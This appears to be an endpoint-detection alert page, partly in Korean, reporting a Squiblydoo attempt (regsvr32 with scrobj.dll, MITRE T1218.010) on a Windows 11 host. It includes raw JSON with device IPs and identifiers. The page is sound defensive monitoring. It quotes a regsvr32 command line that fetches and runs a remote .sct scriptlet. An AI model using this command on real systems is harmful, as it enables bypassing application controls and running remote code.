Alert Information
High
- Alert ID
ind:024efd237c2d4f87958607652cb04c8b:27004899474-10191-3774480- Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:024efd237c2d4f87958607652cb04c8b:27004899474-10191-3774480- 설명
- A regsvr32 process appears to be related to a Squiblydoo attempt. Squiblydoo uses regsvr32 to pass a malicious script to scrobj.dll and registers a com object. Review the script passed to scrobj.dll on the command line.
- 호스트
- BOOK-R0BE6S1NC3
- 상태
- new
- 생성 시간
- 2025-12-22 08:02:39
- 업데이트 시간
- 2025-12-22 09:01:40
MITRE ATT&CK
- Tactic
- Defense Evasion
- Technique
- Regsvr32
Command Line
regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll
Raw JSON Data
{"id":"ind:024efd237c2d4f87958607652cb04c8b:27004899474-10191-3774480","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:024efd237c2d4f87958607652cb04c8b:27004899474-10191-3774480","agent_id":"024efd237c2d4f87958607652cb04c8b","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"A regsvr32 process appears to be related to a Squiblydoo attempt. Squiblydoo uses regsvr32 to pass a malicious script to scrobj.dll and registers a com object. Review the script passed to scrobj.dll on the command line.","severity":70,"severity_name":"High","confidence":80,"tactic":"Defense Evasion","tactic_id":"TA0005","technique":"Regsvr32","technique_id":"T1218.010","cmdline":"regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll","filename":"regsvr32.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\regsvr32.exe","sha256":"f379c637eb2250f0cdae05918035a37f3fdf89d6b2ad897da235c5f603fe2a1e","status":"new","type":"ldt","created_timestamp":"2025-12-21T23:02:39.990741834Z","updated_timestamp":"2025-12-22T00:01:40.019329988Z","device":{"device_id":"024efd237c2d4f87958607652cb04c8b","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.20309.0","hostname":"BOOK-R0BE6S1NC3","local_ip":"172.27.1.19","external_ip":"119.206.248.238","mac_address":"00-72-ee-3e-51-84","platform_name":"Windows","os_version":"Windows 11"},"aggregate_id":"aggind:024efd237c2d4f87958607652cb04c8b:17576755488","CreatedAt":"2025-12-22T08:02:39.9907418+09:00","UpdatedAt":"2025-12-22T09:01:40.01933+09:00"}
Quick Info
- Severity High
- Score 70
-
Agent ID
024efd237c2d4f87958607652cb04c8b
Actions